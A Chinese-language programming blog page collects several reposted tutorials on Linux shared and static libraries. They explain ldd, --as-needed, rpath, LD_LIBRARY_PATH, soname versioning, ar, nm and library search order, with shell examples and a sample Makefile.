             上一篇(linuxso動(dòng)態(tài)庫(kù)一些不為人知的秘密(上))介紹了linuxso一些依賴問(wèn)題,本篇將介紹linuxso路徑搜索問(wèn)題。

            我們知道linux鏈接so有兩種途徑:顯示和隱式。所謂顯示就是程序主動(dòng)調(diào)用dlopen打開(kāi)相關(guān)so;這里需要補(bǔ)充的是,如果使用顯示鏈接,上篇文章討論的那些問(wèn)題都不存在。首先,dlopenso使用ldd是查看不到的。其次,使用dlopen打開(kāi)的so并不是在進(jìn)程啟動(dòng)時(shí)候加載映射的,而是當(dāng)進(jìn)程運(yùn)行到調(diào)用dlopen代碼地方才加載該so,也就是說(shuō),如果每個(gè)進(jìn)程顯示鏈接a.so;但是如果發(fā)布該程序時(shí)候忘記附帶發(fā)布該a.so,程序仍然能夠正常啟動(dòng),甚至如果運(yùn)行邏輯沒(méi)有觸發(fā)運(yùn)行到調(diào)用dlopen函數(shù)代碼地方。該程序還能正常運(yùn)行,即使沒(méi)有a.so.

            既然顯示加載這么多優(yōu)點(diǎn),那么為什么實(shí)際生產(chǎn)中很少碼農(nóng)使用它呢, 主要原因還是起使用不是很方便,需要開(kāi)發(fā)人員多寫不少代碼。所以不被大多數(shù)碼農(nóng)使用,還有一個(gè)重要原因應(yīng)該是能提前發(fā)現(xiàn)錯(cuò)誤,在部署的時(shí)候就能發(fā)現(xiàn)缺少哪些so,而不是等到實(shí)際上限運(yùn)行的時(shí)候才發(fā)現(xiàn)缺東少西。

            下面舉個(gè)工作中最常碰到的問(wèn)題,來(lái)引申出本篇內(nèi)容吧。

            寫一個(gè)最簡(jiǎn)單的so tmp.cpp

            1. int test()

            2. {

            3. return 20;

            4. }

            編譯=>鏈接=》運(yùn)行, 下面main.cpp 內(nèi)容請(qǐng)參見(jiàn)上一篇文章。

            [stevenrao]$ g++ -fPIC -c tmp.cpp

            [stevenrao]$ g++ -shared -o libtmp.so tmp.o

            [stevenrao]$ mv libtmp.so /tmp/

            [stevenrao]$ g++ -o demo -L/tmp -ltmp main.cpp

            [stevenrao]$ ./demo

            ./demo: error while loading shared libraries: libtmp.so: cannot open shared object file: No such file or directory

            [stevenrao]$ ldd demo

            linux-vdso.so.1 => (0x00007fff7fdc1000)

            libtmp.so => not found

            這個(gè)錯(cuò)誤是最常見(jiàn)的錯(cuò)誤了。運(yùn)行程序的時(shí)候找不到依賴的so。一般人使用方法是修改LD_LIBRARY_PATH這個(gè)環(huán)境變量

            export LD_LIBRARY_PATH=/tmp

            [stevenrao]$ ./demo

            test

            這樣就OK, 不過(guò)這樣export 只對(duì)當(dāng)前shell有效,當(dāng)另開(kāi)一個(gè)shell時(shí)候,又要重新設(shè)置。可以把export LD_LIBRARY_PATH=/tmp 語(yǔ)句寫到 ~/.bashrc中,這樣就對(duì)當(dāng)前用戶有效了,寫到/etc/bashrc中就對(duì)所有用戶有效了。

            前面鏈接時(shí)候使用 -L/tmp/ -ltmp 是一種設(shè)置相對(duì)路徑方法,還有一種絕對(duì)路徑鏈接方法

            [stevenrao]$ g++ -o demo /tmp/libtmp.so main.cpp

            [stevenrao]$ ./demo

            test

            [stevenrao]$ ldd demo

            linux-vdso.so.1 => (0x00007fff083ff000)

            /tmp/libtmp.so (0x00007f53ed30f000)

            絕對(duì)路徑雖然申請(qǐng)?jiān)O(shè)置環(huán)境變量步驟,但是缺陷也是致命的,這個(gè)so必須放在絕對(duì)路徑下,不能放到其他地方,這樣給部署帶來(lái)很大麻煩。所以應(yīng)該禁止使用絕對(duì)路徑鏈接so

            搜索路徑分兩種,一種是鏈接時(shí)候的搜索路徑,一種是運(yùn)行時(shí)期的搜索路徑。像前面提到的 -L/tmp/ 是屬于鏈接時(shí)期的搜索路徑,即給ld程序提供的編譯鏈接時(shí)候?qū)ふ覄?dòng)態(tài)庫(kù)路徑;而 LD_LIBRARY_PATH則既屬于鏈接期搜索路徑,又屬于運(yùn)行時(shí)期的搜索路徑。

            這里需要介紹鏈-rpath鏈接選項(xiàng),它是指定運(yùn)行時(shí)候都使用的搜索路徑。聰明的同學(xué)馬上就想到,運(yùn)行時(shí)搜索路徑,那它記錄在哪兒呢。也像. LD_LIBRARY_PATH那樣,每部署一臺(tái)機(jī)器就需要配一下嗎。呵呵,不需要..,因?yàn)樗呀?jīng)被硬編碼到可執(zhí)行文件內(nèi)部了。看看下面演示

            1. [stevenrao] $ g++ -o demo -L /tmp/ -ltmp main.cpp
            2. [stevenrao] $ ./demo
            3. ./demo: error while loading shared libraries: libtmp.so: cannot open shared object file: No such file or directory
            4. [stevenrao] $ g++ -o demo -Wl,-rpath /tmp/ -L/tmp/ -ltmp main.cpp
            5. [stevenrao] $ ./demo
            6. test
            7. [stevenrao] $ readelf -d demo
            8. Dynamic section at offset 0xc58 contains 26 entries:
            9. Tag Type Name/Value
            10. 0x0000000000000001 (NEEDED) Shared library: [libtmp.so]
            11. 0x0000000000000001 (NEEDED) Shared library: [libstdc++.so.6]
            12. 0x0000000000000001 (NEEDED) Shared library: [libm.so.6]
            13. 0x0000000000000001 (NEEDED) Shared library: [libgcc_s.so.1]
            14. 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
            15. 0x000000000000000f (RPATH) Library rpath: [/tmp/]
            16. 0x000000000000001d (RUNPATH) Library runpath: [/tmp/]
            看看是吧,編譯到elf文件內(nèi)部了,路徑和程序深深的耦合到一起

            posted @ 2013-01-04 16:58 tqsheng 閱讀(486) | 評(píng)論 (0)編輯 收藏

            linux下so動(dòng)態(tài)庫(kù)一些不為人知的秘密(上) (2012-08-14 22:48)



            linux 下有動(dòng)態(tài)庫(kù)和靜態(tài)庫(kù),動(dòng)態(tài)庫(kù)以.so為擴(kuò)展名,靜態(tài)庫(kù)以.a為擴(kuò)展名。二者都使用廣泛。本文主要講動(dòng)態(tài)庫(kù)方面知識(shí)。

            基本上每一個(gè)linux 程序都至少會(huì)有一個(gè)動(dòng)態(tài)庫(kù),查看某個(gè)程序使用了那些動(dòng)態(tài)庫(kù),使用ldd命令查看
            1. # ldd /bin/ls
            2. linux-vdso.so.1 => (0x00007fff597ff000)
            3. libselinux.so.1 => /lib64/libselinux.so.1 (0x00000036c2e00000)
            4. librt.so.1 => /lib64/librt.so.1 (0x00000036c2200000)
            5. libcap.so.2 => /lib64/libcap.so.2 (0x00000036c4a00000)
            6. libacl.so.1 => /lib64/libacl.so.1 (0x00000036d0600000)
            7. libc.so.6 => /lib64/libc.so.6 (0x00000036c1200000)
            8. libdl.so.2 => /lib64/libdl.so.2 (0x00000036c1600000)
            9. /lib64/ld-linux-x86-64.so.2 (0x00000036c0e00000)
            10. libpthread.so.0 => /lib64/libpthread.so.0 (0x00000036c1a00000)
            11. libattr.so.1 => /lib64/libattr.so.1 (0x00000036cf600000)
            這么多so,是的。使用ldd顯示的so,并不是所有so都是需要使用的,下面舉個(gè)例子
            main.cpp
            1. #include <stdio.h>
            2. #include <iostream>
            3. #include <string>
            4. using namespace std;

            5. int main ()
            6. {
            7. cout << "test" << endl;
            8. return 0;
            9. }
            使用缺省參數(shù)編譯結(jié)果
            1. # g++ -o demo main.cpp
            2. # ldd demo
            3. linux-vdso.so.1 => (0x00007fffcd1ff000)
            4. libstdc++.so.6 => /usr/lib64/libstdc++.so.6 (0x00007f4d02f69000)
            5. libm.so.6 => /lib64/libm.so.6 (0x00000036c1e00000)
            6. libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00000036c7e00000)
            7. libc.so.6 => /lib64/libc.so.6 (0x00000036c1200000)
            8. /lib64/ld-linux-x86-64.so.2 (0x00000036c0e00000)
            如果我鏈接一些so,但是程序并不用到這些so,又是什么情況呢,下面我加入鏈接壓縮庫(kù),數(shù)學(xué)庫(kù),線程庫(kù)
            1. # g++ -o demo -lz -lm -lrt main.cpp
            2. # ldd demo
            3. linux-vdso.so.1 => (0x00007fff0f7fc000)
            4. libz.so.1 => /lib64/libz.so.1 (0x00000036c2600000)
            5. librt.so.1 => /lib64/librt.so.1 (0x00000036c2200000)
            6. libstdc++.so.6 => /usr/lib64/libstdc++.so.6 (0x00007ff6ab70d000)
            7. libm.so.6 => /lib64/libm.so.6 (0x00000036c1e00000)
            8. libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00000036c7e00000)
            9. libc.so.6 => /lib64/libc.so.6 (0x00000036c1200000)
            10. libpthread.so.0 => /lib64/libpthread.so.0 (0x00000036c1a00000)
            11. /lib64/ld-linux-x86-64.so.2 (0x00000036c0e00000)
            看看,雖然沒(méi)有用到,但是一樣有鏈接進(jìn)來(lái),那看看程序啟動(dòng)時(shí)候有沒(méi)有去加載它們呢
            1. # strace ./demo
            2. execve("./demo", ["./demo"], [/* 30 vars */]) = 0
            3. ... = 0
            4. open("/lib64/libz.so.1", O_RDONLY) = 3
            5. ...
            6. close(3) = 0
            7. open("/lib64/librt.so.1", O_RDONLY) = 3
            8. ...
            9. close(3) = 0
            10. open("/usr/lib64/libstdc++.so.6", O_RDONLY) = 3
            11. ...
            12. close(3) = 0
            13. open("/lib64/libm.so.6", O_RDONLY) = 3
            14. ...
            15. close(3) = 0
            16. open("/lib64/libgcc_s.so.1", O_RDONLY) = 3
            17. ...
            18. close(3) = 0
            19. open("/lib64/libc.so.6", O_RDONLY) = 3
            20. ...
            21. close(3) = 0
            22. open("/lib64/libpthread.so.0", O_RDONLY) = 3
            23. ...
            24. close(3) = 0
            25. ...
            看,有加載,所以必定會(huì)影響進(jìn)程啟動(dòng)速度,所以我們最后不要把無(wú)用的so編譯進(jìn)來(lái),這里會(huì)有什么影響呢?
            大家知不知道linux從程序(program或?qū)ο螅┳兂蛇M(jìn)程(process或進(jìn)程),要經(jīng)過(guò)哪些步驟呢,這里如果詳細(xì)的說(shuō),估計(jì)要另開(kāi)一篇文章。簡(jiǎn)單的說(shuō)分三步:
            1、fork進(jìn)程,在內(nèi)核創(chuàng)建進(jìn)程相關(guān)內(nèi)核項(xiàng),加載進(jìn)程可執(zhí)行文件;
            2、查找依賴的so,一一加載映射虛擬地址
            3、初始化程序變量。
            可以看到,第二步中dll依賴越多,進(jìn)程啟動(dòng)越慢,并且發(fā)布程序的時(shí)候,這些鏈接但沒(méi)有使用的so,同樣要一起跟著發(fā)布,否則進(jìn)程啟動(dòng)時(shí)候,會(huì)失敗,找不到對(duì)應(yīng)的so。所以我們不能像上面那樣,把一些毫無(wú)意義的so鏈接進(jìn)來(lái),浪費(fèi)資源。但是開(kāi)發(fā)人員寫makefile 一般有沒(méi)有那么細(xì)心,圖省事方便,那么有什么好的辦法呢。繼續(xù)看下去,下面會(huì)給你解決方法。
            使用 ldd -u demo 查看不需要鏈接的so,看下面,一面了然,無(wú)用的so全部暴露出來(lái)了吧
            1. # ldd -u demo
            2. Unused direct dependencies:
            3. /lib64/libz.so.1
            4. /lib64/librt.so.1
            5. /lib64/libm.so.6
            6. /lib64/libgcc_s.so.1
            使用 -Wl,--as-needed 編譯選項(xiàng)
            1. # g++ -Wl,--as-needed -o demo -lz -lm -lrt main.cpp
            2. # ldd demo
            3. linux-vdso.so.1 => (0x00007fffebfff000)
            4. libstdc++.so.6 => /usr/lib64/libstdc++.so.6 (0x00007ff665c05000)
            5. libc.so.6 => /lib64/libc.so.6 (0x00000036c1200000)
            6. libm.so.6 => /lib64/libm.so.6 (0x00000036c1e00000)
            7. /lib64/ld-linux-x86-64.so.2 (0x00000036c0e00000)
            8. libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00000036c7e00000)
            9. # ldd -u demo
            10. Unused direct dependencies:

            呵呵,辦法很簡(jiǎn)單省事吧,本文主要講so依賴的一些問(wèn)題,下一篇將介紹so的路徑方面一些不為人知的小秘密

             

            posted @ 2013-01-04 16:57 tqsheng 閱讀(282) | 評(píng)論 (0)編輯 收藏

            Linux下合并多個(gè).a庫(kù)函數(shù) 到動(dòng)態(tài)庫(kù)so

            Linux下合并多個(gè).a庫(kù)函數(shù) 到動(dòng)態(tài)庫(kù)so

            在LINUX下用靜態(tài)庫(kù)進(jìn)行鏈接的時(shí)候經(jīng)常會(huì)碰到如下情況:存在與靜態(tài)庫(kù)名一樣的動(dòng)態(tài)庫(kù)。以MKL為例,在目錄/MKLROOT/lib/em64t下,庫(kù)libmkl_core.a和庫(kù)libmkl_core.so同名。這樣的話我們?nèi)绻阪溄訒r(shí)加入鏈接的庫(kù)名-lmkl_core,編譯器只同動(dòng)態(tài)庫(kù)libmkl_core.so鏈接,而屏避掉靜態(tài)庫(kù)文件libmkl_core.a。所以靜態(tài)庫(kù)文件里的對(duì)象文件無(wú)法被鏈接。解決這一問(wèn)題有兩個(gè)辦法:

            1. 直接將靜態(tài)庫(kù)的絕對(duì)路徑加到編譯過(guò)程中去:

            gcc -I$(INCLUDE) -L$(LIB) main.c /MKLROOT/lib/em64t/libmkl_core.a -o a.out

            這樣的話編譯器就會(huì)根據(jù)指定的文件進(jìn)行編譯鏈接,不過(guò)這種做法在靜態(tài)庫(kù)文件少的時(shí)候可用,如果文件一多,就會(huì)讓整個(gè)指令冗長(zhǎng),可讀性差。下面是一種比較可取的方法。

            2. 在目錄/MKLROOT/lib/em64t下用vi編輯器打開(kāi)一個(gè)與所有庫(kù)文件都不重名的庫(kù),例如libmkl.a。然后在該文件中加入下面的一行:

            GROUP (libmkl_*.a libmkl_*.a libmkl_*.a ............... libmkl_*.a)

            (GROUP一定要大寫)

            保存退出。之后在編譯程序的時(shí)候只要將該文件加入鏈接項(xiàng)就OK了。命令如下:

            gcc -I$(INCLUDE) -L$(LIB) main.c -lmkl -o a.out

            上面的選項(xiàng)(-lmkl)就相當(dāng)于讓編譯器gcc到文本文件libmkl.a指定的靜態(tài)庫(kù)文件中尋找.o文件進(jìn)行鏈接,而不用人工地將每個(gè)靜態(tài)庫(kù)地址都輸進(jìn)行。查找.o對(duì)象文件的順序從左到右,所以應(yīng)該將最低層的靜態(tài)庫(kù)放到最右邊,把需要調(diào)用右邊庫(kù)里的對(duì)象的庫(kù)放到左邊,否則會(huì)出現(xiàn)找不到對(duì)象文件,導(dǎo)致報(bào)函數(shù)沒(méi)定義的錯(cuò)誤。

            posted @ 2013-01-04 16:54 tqsheng 閱讀(4542) | 評(píng)論 (0)編輯 收藏

            關(guān)于Unix靜態(tài)庫(kù)和動(dòng)態(tài)庫(kù)的分析

            關(guān)于Unix靜態(tài)庫(kù)和動(dòng)態(tài)庫(kù)的分析

            基本概念

            庫(kù)有動(dòng)態(tài)與靜態(tài)兩種,動(dòng)態(tài)通常用.so為后綴,靜態(tài)用.a為后綴。 例如:libhello.so libhello.a

            為了在同一系統(tǒng)中使用不同版本的庫(kù),可以在庫(kù)文件名后加上版本號(hào)為后綴,例如: libhello.so.1.0,由于程序連接默認(rèn)以.so為文件后綴名。所以為了使用這些庫(kù),通常使用建立符號(hào)連接的方式。

            ln -s libhello.so.1.0 libhello.so.1
            ln -s libhello.so.1 libhello.so

            1、使用庫(kù)

            當(dāng)要使用靜態(tài)的程序庫(kù)時(shí),連接器會(huì)找出程序所需的函數(shù),然后將它們拷貝到執(zhí)行文件,由于這種拷貝是完整的,所以一旦連接成功,靜態(tài)程序庫(kù)也就不再需要了。 然而,對(duì)動(dòng)態(tài)庫(kù)而言,就不是這樣。動(dòng)態(tài)庫(kù)會(huì)在執(zhí)行程序內(nèi)留下一個(gè)標(biāo)記指明當(dāng)程序執(zhí)行時(shí),首先必須載入這個(gè)庫(kù)。由于動(dòng)態(tài)庫(kù)節(jié)省空間,linux下進(jìn)行連接的 缺省操作是首先連接動(dòng)態(tài)庫(kù),也就是說(shuō),如果同時(shí)存在靜態(tài)和動(dòng)態(tài)庫(kù),不特別指定的話,將與動(dòng)態(tài)庫(kù)相連接。

            現(xiàn)在假設(shè)有一個(gè)叫hello的程序開(kāi)發(fā)包,它提供一個(gè)靜態(tài)庫(kù)libhello.a 一個(gè)動(dòng)態(tài)庫(kù)libhello.so,一個(gè)頭文件hello.h,頭文件中提供sayhello()這個(gè)函數(shù)

            /* hello.h */
            void sayhello();

            另外還有一些說(shuō)明文檔。

            這一個(gè)典型的程序開(kāi)發(fā)包結(jié)構(gòu) 與動(dòng)態(tài)庫(kù)連接 linux默認(rèn)的就是與動(dòng)態(tài)庫(kù)連接,下面這段程序testlib.c使用hello庫(kù)中的sayhello()函數(shù)

            /*testlib.c*/
            #include "hello.h"
            int main()
            {
                sayhello();
                return 0;
            }

            使用如下命令進(jìn)行編譯

            $gcc -c testlib.c -o testlib.o

            用如下命令連接:

            $gcc testlib.o -lhello -o testlib

            連接時(shí)要注意,假設(shè)libhello.so 和libhello.a都在缺省的庫(kù)搜索路徑下/usr/lib下,如果在其它位置要加上-L參數(shù)。與靜態(tài)庫(kù)連接麻煩一些,主要是參數(shù)問(wèn)題。還是上面的例 子:

            $gcc testlib.o -o testlib -WI,-Bstatic -lhello

            注:這個(gè)特別的”-WI,-Bstatic”參數(shù),實(shí)際上是傳給了連接器ld. 指示它與靜態(tài)庫(kù)連接,如果系統(tǒng)中只有靜態(tài)庫(kù)當(dāng)然就不需要這個(gè)參數(shù)了。如果要和多個(gè)庫(kù)相連接,而每個(gè)庫(kù)的連接方式不一樣,比如上面的程序既要和 libhello進(jìn)行靜態(tài)連接,又要和libbye進(jìn)行動(dòng)態(tài)連接,其命令應(yīng)為:

            $gcc testlib.o -o testlib -WI,-Bstatic -lhello -WI,-Bdynamic -lbye

            2、動(dòng)態(tài)庫(kù)的路徑問(wèn)題

            為了讓執(zhí)行程序順利找到動(dòng)態(tài)庫(kù),有三種方法:

            1. 把庫(kù)拷貝到/usr/lib和/lib目錄下。
            2. 在LD_LIBRARY_PATH環(huán)境變量中加上庫(kù)所在路徑。例如動(dòng)態(tài)庫(kù) libhello.so在/home/ting/lib目錄下,以bash為例,使用命令: $export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/ting/lib
            3. 修改/etc/ld.so.conf文件,把庫(kù)所在的路徑加到文件末尾,并執(zhí)行l(wèi)dconfig刷新。這樣,加入的目錄下的所有庫(kù)文件都可見(jiàn)。

            3、查看庫(kù)中的符號(hào)

            有時(shí)候可能需要查看一個(gè)庫(kù)中到底有哪些函數(shù),nm工具可以打印出庫(kù)中的涉及到的所有符號(hào)。庫(kù)既可以是靜態(tài)的也可以是動(dòng)態(tài)的。nm列出的符號(hào)有很多, 常見(jiàn)的有三種,一種是在庫(kù)中被調(diào)用,但并沒(méi)有在庫(kù)中定義(表明需要其他庫(kù)支持),用U表示;一種是庫(kù)中定義的函數(shù),用T表示,這是最常見(jiàn)的;另外一種是所 謂的“弱態(tài)”符號(hào),它們雖然在庫(kù)中被定義,但是可能被其他庫(kù)中的同名符號(hào)覆蓋,用W表示。例如,假設(shè)開(kāi)發(fā)者希望知道上文提到的hello庫(kù)中是否引用了 printf():

            $nm libhello.so | grep printf U

            其中printf U表示符號(hào)printf被引用,但是并沒(méi)有在函數(shù)內(nèi)定義,由此可以推斷,要正常使用hello庫(kù),必須有其它庫(kù)支持,再使用ldd工具查看hello依賴于哪些庫(kù):

            $ldd hello
            libc.so.6=>/lib/libc.so.6(0x400la000)
            /lib/ld-linux.so.2=>/lib/ld-linux.so.2 (0x40000000)

            從上面的結(jié)果可以繼續(xù)查看printf最終在哪里被定義,有興趣可以go on

            4、生成庫(kù)

            第一步要把源代碼編繹成目標(biāo)代碼。以下面的代碼為例,生成上面用到的hello庫(kù):

            /* hello.c */
            #include "hello.h"
            void sayhello()
            {
                printf("hello,world ");
            }

            用gcc編繹該文件,在編繹時(shí)可以使用任何合法的編繹參數(shù),例如-g加入調(diào)試代碼等:

            $gcc -c hello.c -o hello.o

            1.連接成靜態(tài)庫(kù) 連接成靜態(tài)庫(kù)使用ar工具,其實(shí)ar是archive的意思

            $ar cqs libhello.a hello.o

            2.連接成動(dòng)態(tài)庫(kù) 生成動(dòng)態(tài)庫(kù)用gcc來(lái)完成,由于可能存在多個(gè)版本,因此通常指定版本號(hào):

            $gcc -shared -Wl,-soname,libhello.so.1 -o libhello.so.1.0 hello.o

            另外再建立兩個(gè)符號(hào)連接:

            $ln -s libhello.so.1.0 libhello.so.1
            $ln -s libhello.so.1 libhello.so

            這樣一個(gè)libhello的動(dòng)態(tài)連接庫(kù)就生成了。最重要的是傳gcc -shared 參數(shù)使其生成是動(dòng)態(tài)庫(kù)而不是普通執(zhí)行程序。 -Wl 表示后面的參數(shù)也就是-soname,libhello.so.1直接傳給連接器ld進(jìn)行處理。實(shí)際上,每一個(gè)庫(kù)都有一個(gè)soname,當(dāng)連接器發(fā)現(xiàn)它正 在查找的程序庫(kù)中有這樣一個(gè)名稱,連接器便會(huì)將soname嵌入連結(jié)中的二進(jìn)制文件內(nèi),而不是它正在運(yùn)行的實(shí)際文件名,在程序執(zhí)行期間,程序會(huì)查找擁有 soname名字的文件,而不是庫(kù)的文件名,換句話說(shuō),soname是庫(kù)的區(qū)分標(biāo)志。這樣做的目的主要是允許系統(tǒng)中多個(gè)版本的庫(kù)文件共存,習(xí)慣上在命名庫(kù) 文件的時(shí)候通常與soname相同 libxxxx.so.major.minor 其中,xxxx是庫(kù)的名字,major是主版本號(hào),minor 是次版本號(hào)

            總結(jié)

            通過(guò)對(duì)LINUX庫(kù)工作的分析,我們已經(jīng)可以理解程序運(yùn)行時(shí)如何去別的地方尋找“庫(kù)”。

            附上針對(duì)這個(gè)工程的Makefile:

            # xiejingquan@gmail.com
            # export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:~/C/lib
            
            BIN_DIR=bin
            LIB_DIR=lib
            INC_DIR=inc
            SRC_DIR=src
            
            BIN=${BIN_DIR}/testlib
            LIB=${LIB_DIR}/libhello.a ${LIB_DIR}/libhello.so
            
            CC=gcc
            AR=ar
            DOC=doxygen
            
            CFLAGS=-g -Wall -c -Iinc
            LFLAGS=-lhello -L${LIB_DIR} -o
            ARFLAGS=cqs
            SOFLAGS=-shared -Wl,-soname,
            
            all: ${BIN}
            
            lib: ${LIB}
            
            run: all
            @./bin/testlib
            
            clean:
            rm -f ${BIN_DIR}/* ${LIB_DIR}/*
            
            ${BIN_DIR}/testlib: ${LIB_DIR}/testlib.o ${LIB}
            ${CC} $< ${LFLAGS} $@
            
            ${LIB_DIR}/testlib.o: ${SRC_DIR}/testlib.c ${INC_DIR}/hello.h
            ${CC} ${CFLAGS} $< -o $@
            
            ${LIB_DIR}/libhello.a: ${LIB_DIR}/hello.o
            ${AR} ${ARFLAGS} $@ $<
            
            ${LIB_DIR}/libhello.so: ${LIB_DIR}/hello.o
            ${CC} ${SOFLAGS}libhello.so.1 -o ${LIB_DIR}/libhello.so.1.0 ${LIB_DIR}/hello.o
            ln -s ${LIB_DIR}/libhello.so.1.0 ${LIB_DIR}/libhello.so.1
            ln -s ${LIB_DIR}/libhello.so.1 ${LIB_DIR}/libhello.so
            
            ${LIB_DIR}/hello.o: ${SRC_DIR}/hello.c ${INC_DIR}/hello.h
            ${CC} ${CFLAGS} $< -o $@

            附上文件的目錄結(jié)構(gòu):

            |– bin
            | `– testlib
            |– doc
            |– inc
            | `– hello.h
            |– lib
            | |– hello.o
            | |– libhello.a
            | |– libhello.so -> lib/libhello.so.1
            | |– libhello.so.1 -> lib/libhello.so.1.0
            | |– libhello.so.1.0
            | `– testlib.o
            |– src
            | |– hello.c
            | `– testlib.c


            說(shuō)來(lái)也巧了,今天剛好在twitter上看到某大牛的推:

             

            Linux下動(dòng)態(tài)鏈接庫(kù)的查找順序:①DT_RPATH、②LD_LIBRARY_PATH環(huán)境變量、③/etc/ld.so.conf文件及/etc/ld.so.cond.d/目錄內(nèi)的*.conf文件、④默認(rèn)路徑/usr/lib,如果改動(dòng)了/etc/ld.so.conf 需要使用 /sbin/ldconfig –v 來(lái)更新系統(tǒng)。


            延伸閱讀:

             

            1. linux動(dòng)態(tài)鏈接庫(kù)的使用;
            2. linux 下鏈接庫(kù)的生成使用;

            本文來(lái)源:http://hi.baidu.com/fengmang0451/blog/item/0e74df1d3e22e000304e15ae.html

            Printed from: http://xiaobin.net/200911/analytics-on-unix-static-and-dynamic-library/ .
            © XiaoBiN.net 2013.

            Trackbacks/Pingbacks

            1. 關(guān)于Unix靜態(tài)庫(kù)和動(dòng)態(tài)庫(kù)的分析基本概念 | EvilCode 邪惡代碼

            posted @ 2013-01-04 16:40 tqsheng 閱讀(143) | 評(píng)論 (0)編輯 收藏

            Linux下靜態(tài)庫(kù)_庫(kù)的基本概念;如何生成靜態(tài)庫(kù)動(dòng)態(tài)庫(kù);nm查看庫(kù)中包含那些函數(shù)、ar生成靜態(tài)庫(kù),查看庫(kù)中包含那些.o文件、ldd查看程序依賴的.so文件;gcc/g++與庫(kù)相關(guān)的參數(shù)-L,-l,-fPIC,-shared;靜態(tài)庫(kù)鏈接時(shí)搜索過(guò)程;動(dòng)態(tài)庫(kù)鏈接時(shí),加載時(shí)搜索的過(guò)程;動(dòng)態(tài)庫(kù)找不到的問(wèn)題;動(dòng)態(tài)庫(kù)升級(jí)步驟

            Linux下靜態(tài)庫(kù)_庫(kù)的基本概念;如何生成靜態(tài)庫(kù)動(dòng)態(tài)庫(kù);nm查看庫(kù)中包含那些函數(shù)、ar生成靜態(tài)庫(kù),查看庫(kù)中包含那些.o文件、ldd查看程序依賴的.so文件;gcc/g++與庫(kù)相關(guān)的參數(shù)-L,-l,-fPIC,-shared;靜態(tài)庫(kù)鏈接時(shí)搜索過(guò)程;動(dòng)態(tài)庫(kù)鏈接時(shí),加載時(shí)搜索的過(guò)程;動(dòng)態(tài)庫(kù)找不到的問(wèn)題;動(dòng)態(tài)庫(kù)升級(jí)步驟

            2010-11-23 10:47:45| 分類: Linux系統(tǒng)編程 | 標(biāo)簽: |字號(hào) 訂閱

            一、基本概念

            1.1、什么是庫(kù)

            在 windows 平臺(tái)和 linux 平臺(tái)下都大量存在著庫(kù)。

            本質(zhì)上來(lái)說(shuō)庫(kù)是 一種可執(zhí)行代碼的二進(jìn)制形式,可以被操作系統(tǒng)載入內(nèi)存執(zhí)行

            由于 windows 和 linux 的平臺(tái)不同(主要是編譯器、匯編器和連接器 的不同),因此二者庫(kù)的二進(jìn)制是不兼容的。

            本文僅限于介紹 linux 下的庫(kù)。

             

            1.2、 庫(kù)的種類

            linux 下的庫(kù)有兩種:靜態(tài)庫(kù)和共享庫(kù)(動(dòng)態(tài)庫(kù))。

            二者的不同點(diǎn)在于代碼被載入的時(shí)刻不同。

            靜態(tài)庫(kù)的代碼在編譯過(guò)程中已經(jīng)被載入可執(zhí)行程序,因此體積較大。

            靜態(tài)用.a為后綴, 例如: libhello.a

            共享庫(kù)(動(dòng)態(tài)庫(kù))的代碼是在可執(zhí)行程序運(yùn)行時(shí)才載入內(nèi)存的,在編譯過(guò)程中僅簡(jiǎn)單的引用,因此代碼體積較小。

            動(dòng)態(tài)通常用.so為后綴, 例如:libhello.so

            共享庫(kù)(動(dòng)態(tài)庫(kù))的好處是,不同的應(yīng)用程序如果調(diào)用相同的庫(kù),那么在內(nèi)存里只需要有一份該共享庫(kù)的實(shí)例。

            為了在同一系統(tǒng)中使用不同版本的庫(kù),可以在庫(kù)文件名后加上版本號(hào)為后綴,例如: libhello.so.1.0,由于程序連接默認(rèn)以.so為文件后綴名。所以為了使用這些庫(kù),通常使用建立符號(hào)連接的方式。

            ln -s libhello.so.1.0 libhello.so.1 ln -s libhello.so.1 libhello.so

            1.3、靜態(tài)庫(kù),動(dòng)態(tài)庫(kù)文件在linux下是如何生成的:
            以下面的代碼為例,生成上面用到的hello庫(kù):
            /* hello.c */  
            #include "hello.h"  
            void sayhello()  
            {      
                printf("hello,world ");  
            }

            首先用gcc編繹該文件,在編繹時(shí)可以使用任何合法的編繹參數(shù),例如-g加入調(diào)試代碼等:

            $gcc -c hello.c -o hello.o

            1、生成靜態(tài)庫(kù) 生成靜態(tài)庫(kù)使用ar工具,其實(shí)ar是archive的意思

            $ar cqs libhello.a hello.o

            2、生成動(dòng)態(tài)庫(kù) 用gcc來(lái)完成,由于可能存在多個(gè)版本,因此通常指定版本號(hào):

            $gcc -shared -o libhello.so.1.0 hello.o
             
            1.4、庫(kù)文件是如何命名的,有沒(méi)有什么規(guī)范: 
            在 linux 下,庫(kù)文件一般放在/usr/lib和/lib下, 
            靜態(tài)庫(kù)的名字一般為libxxxx.a,其中 xxxx 是該lib的名稱;
            動(dòng)態(tài)庫(kù)的名字一般為libxxxx.so.major.minor,xxxx 是該lib的名稱,major是主版本號(hào),minor是副版本號(hào) 
             
            1.5、可執(zhí)行程序在執(zhí)行的時(shí)候如何定位共享庫(kù)(動(dòng)態(tài)庫(kù))文件 :
                當(dāng)系統(tǒng)加載可執(zhí)行代碼(即庫(kù)文件)的時(shí)候,能夠知道其所依賴的庫(kù)的名字,但是還需要知道絕對(duì)路徑,此時(shí)就需要系統(tǒng)動(dòng)態(tài)載入器 (dynamic linker/loader) 
                對(duì)于 elf 格式的可執(zhí)行程序,是由 ld-linux.so* 來(lái)完成的,它先后搜索 elf 文件的 DT_RPATH 段—環(huán)境變量LD_LIBRARY_PATH—/etc/ld.so.cache 文件列表— /lib/,/usr/lib 目錄找到庫(kù)文件后將其載入內(nèi)存
                如: export LD_LIBRARY_PATH=’pwd’ 
            將當(dāng)前文件目錄添加為共享目錄
             
            1.6、使用ldd工具,查看可執(zhí)行程序依賴那些動(dòng)態(tài)庫(kù)或著動(dòng)態(tài)庫(kù)依賴于那些動(dòng)態(tài)庫(kù)
               ldd 命令可以查看一個(gè)可執(zhí)行程序依賴的共享庫(kù), 
                例如 # ldd /bin/lnlibc.so.6 
                    => /lib/libc.so.6 (0×40021000)/lib/ld-linux.so.2 
                    => /lib/ld- linux.so.2 (0×40000000) 
